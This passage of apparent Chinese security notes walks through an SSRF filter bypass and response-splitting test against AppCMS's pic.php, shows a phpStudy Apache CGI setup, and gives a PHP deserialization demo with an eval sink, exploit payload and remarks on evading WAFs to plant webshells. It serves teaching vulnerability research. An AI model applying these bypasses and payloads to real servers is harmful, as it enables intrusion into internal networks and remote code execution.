   $file_type=$urls[count($urls)-1]; //取得数组倒数第一个值,这里是获取文件类型的哦
    if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');}

//判断图片类型是不是’jpg’,’gif’,’png’,’jpeg’这几种,如果是的话什么都不做,如果不是的话则输出 image type foridden 1
//上面走到 image type foridden 1了,接着要加个图片类型,绕过这个流程;
//把http://test.com/1.png 做base64编码 aHR0cDovL3Rlc3QuY29tLzEucG5n 访问
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucG5n&type=png, 在这样是可以绕过这个流程,不过显示的不对了,成为正常访问图片的效果了;

//这里其实也存在一个浏览器的RFC标准问题、没按照标准来就容易出问题;

//要实现ssrf 这样是做不到了,换成php试试呢,
//把http://test.com/1.php 做base64编码 aHR0cDovL3Rlc3QuY29tLzEucGhw 访问
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucGhw&type=php

发现又回到了上面的流程、这样行不通。。。

//上面流程主要是判断图片类型的、 把http://test.com/1.png 做编码,这样是读png图片流,响应为php文件;
访问 http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucG5n&type=php

发现在客户端是下载php的,而不是去解析php的,因为随便构造的,下载下来的文件是啥都没有。
//上面是把图片当作php文件去下载、 反过来试试呢

//把php文件当图片下载
把http://test.com/1.php 做编码;
访问 http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucGhw&type=png
试过了还是不行、还是回到了上面的流程了、、、

因为在 url 参数中做了扩展名控制,所以不能任意文件下载,不然可以做base64编码做任意文件下载噢、还有一种情况存在的可能性,解析漏洞、试试看

把http://test.com/1.php%00.png 做编码是 aHR0cDovL3Rlc3QuY29tLzEucGhwJTAwLnBuZw==

访问:http://127.0.0.1/appcms/pic.php?url= aHR0cDovL3Rlc3QuY29tLzEucGhwJTAwLnBuZw==&type=png

// appcms 的设计还真是严谨、考虑的这么周到;终于到下一步了;
    if(strstr($img_url,'php')) die('image type forbidden 2');//这里看到了,防护了解析漏洞
    if(strstr($img_url,chr(0)))die('image type forbidden 3');//这里还判断了空字符截断
    if(strlen($img_url)>256)die('url too length forbidden 4');//还判断了 url长度不能大于256
    header("Content-Type: image/{$_GET['type']}");//这里是重点,type是响应类型,这个参数是可控的了
    readfile($img_url);//开始读文件
   
} else {
    die('image not find!');//如果没有设置url或者type走这里
}

代码分析完毕、、、、

之后考虑了下 /1.png 可以通过判断, 用/?1.png也可以通过判断,这就是问题所在了,/?1.png相当于/index.php?pic=1.png或者/index.html?pic=1.png,这样访问在没有获取这个参数时会忽略掉直接显示;试试看

随便找个站 http://v.qq.com/x/search/?q=1.png ,然后做base64编码;
aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n
访问:
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png

ok了、、、如果用火狐的话,需要分析这个文件流,内容都是文件流中,基于浏览器的解析机制不一样,可以换IE浏览器,直接查看返回的内容了;

作为极客、这样不算完成、过滤了空字符、还可以联想到 HTTP相应拆分漏洞,用他来显示出内容;
给个换行 测试url如下:
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png%0A%0Dtest

然后就可以内网漫游了、、、

python CGI程序部署在phpstudy共享Apache环境

找到 http.conf 添加下面配置:(如果存在则修改或者去掉注视修改即可)
默认配置目录:C:\phpStudy\Apache\conf\httpd.conf

# add cgi python
<Directory "C:/Users/administrator/Desktop/360_cgi-bin"> #设置目录的访问权限
    AllowOverride None
    Options Indexes FollowSymLinks ExecCGI
    Require all granted
</Directory>

<IfModule alias_module> #设置虚拟目录
ScriptAlias /cgi-bin/ "C:/Users/administrator/Desktop/360_cgi-bin"
</IfModule>

<IfModule mime_module> #定义处理的扩展名
AddHandler cgi-script .cgi .py
</IfModule>

<IfModule dir_module> #配置目录首索引文件
    DirectoryIndex index.html index.php index.htm l.php index.py
</IfModule>

上面仅是对独立主机,如果共享主机还要配置 vhosts.conf
(Include conf/vhosts.conf #这里引用了这个虚拟主机配置文件)
增加如下配置:

<VirtualHost *:80>
    DocumentRoot "C:\Users\administrator\Desktop\360_cgi-bin"
    ServerName 127.0.0.4
    ServerAlias
  <Directory "C:\Users\administrator\Desktop\360_cgi-bin">
      Options FollowSymLinks ExecCGI
      AllowOverride All
      Order allow,deny
      Allow from all
      Require all granted
  </Directory>
</VirtualHost>

其中127.0.0.4为要绑定的域名,修改完后需要重启apache,linux配置一样,估计问题会多一些;
http://127.0.0.4/index.py 必须设置py路径,编码和响应类型及空行

#!C:\python27\python.exe
# -*- coding: utf-8 -*-
print "Content-type:text/html"
print                               # 空行,告诉服务器结束头部
#!C:\python27\python.exe
# -*- coding: utf-8 -*-
print "Content-type:text/html"
print                               # 空行,告诉服务器结束头部
print '<html>'
print '<head>'
print '<meta charset="utf-8">'
print '<title>Hello Word - 我的第一个 CGI 程序!</title>'
print '</head>'
print '<body>'
print '<h2>Hello Word! 我是CGI程序</h2>'
print '</body>'
print '</html>'

PHP反序列化漏洞Demo

不同地方写的反序列化都不大一样,通俗易懂的几句话就可以概括了,对象注入漏洞

场景:如果在淘宝买东西,浏览了一些商品,需求是这些商品逻辑关系不存到数据库中,而还要保存这些商品以便用户下次打开还会保持现在的状态,这时就可以把这个用户对象做序列化,然后以文件形式保存或存到数据库,为啥不直接存到数据库中,每个用户都要有自己的关系表,这样会变得更加复杂了,使用序列化可以直接保存对象状态,也方便其他程序调用。

反序列化要满足2个条件:
1.在类中使用魔术方法做了敏感的操作;
2.可控制反序列化参数值;

在java中写的POP链,POP链就是说 class A 调用 class B 方法,然后 class B 可能还调用了其他方法,在其他方法中可以控制反序列化参数,而在 class A中含有魔术方法引用了不安全的函数,这就是一个POP链,链就是程序的流程是环环相扣的。

用php写一段 反序列化演示代码:

<?php
class Testdemo {
var $var = '';
function __destruct() {
eval($this->var);
}
}
unserialize($_GET['cmd']);

__destruct()是Testdemo类的析构函数(魔术方法),就是在对象消失的时候会调用这个方法,看上面代码只要控制了 变量 var 的值就行了,实际过程中需要构造POP链达到条件去触发这个漏洞。

下面构造 exp 代码:

include 'testdemo.php'
$exp = new Testdemo();  
$exp->var = "phpinfo();";
echo serialize($exp);
#O:7:"Testdemo":1:{s:3:"var";s:10:"phpinfo();";}

对象在序列化时,可以控制 var变量,而在对象消失时就可以触发魔术方法了,这就是反序列化漏洞了。

上面反序列化的形态是这样存在的:

__PHP_Incomplete_Class Object
(
    [__PHP_Incomplete_Class_Name] => Testdemo
    [var] => phpinfo();
)

然后exp就是:http://127.0.0.1/testdemo.php?cmd=O:7:”Testdemo”:1:{s:3:”var”;s:10:”phpinfo();”;}

实际中反序列化漏洞感觉用于绕waf是一种不错的选择,这种漏洞waf查不到,又不能阻止反序列化数据传入,waf就比较纠结了;
使用反序列化间接写入webshell,因为不是每次写shell都会绕过waf,就需要这样的中间漏洞打配合蛮好的。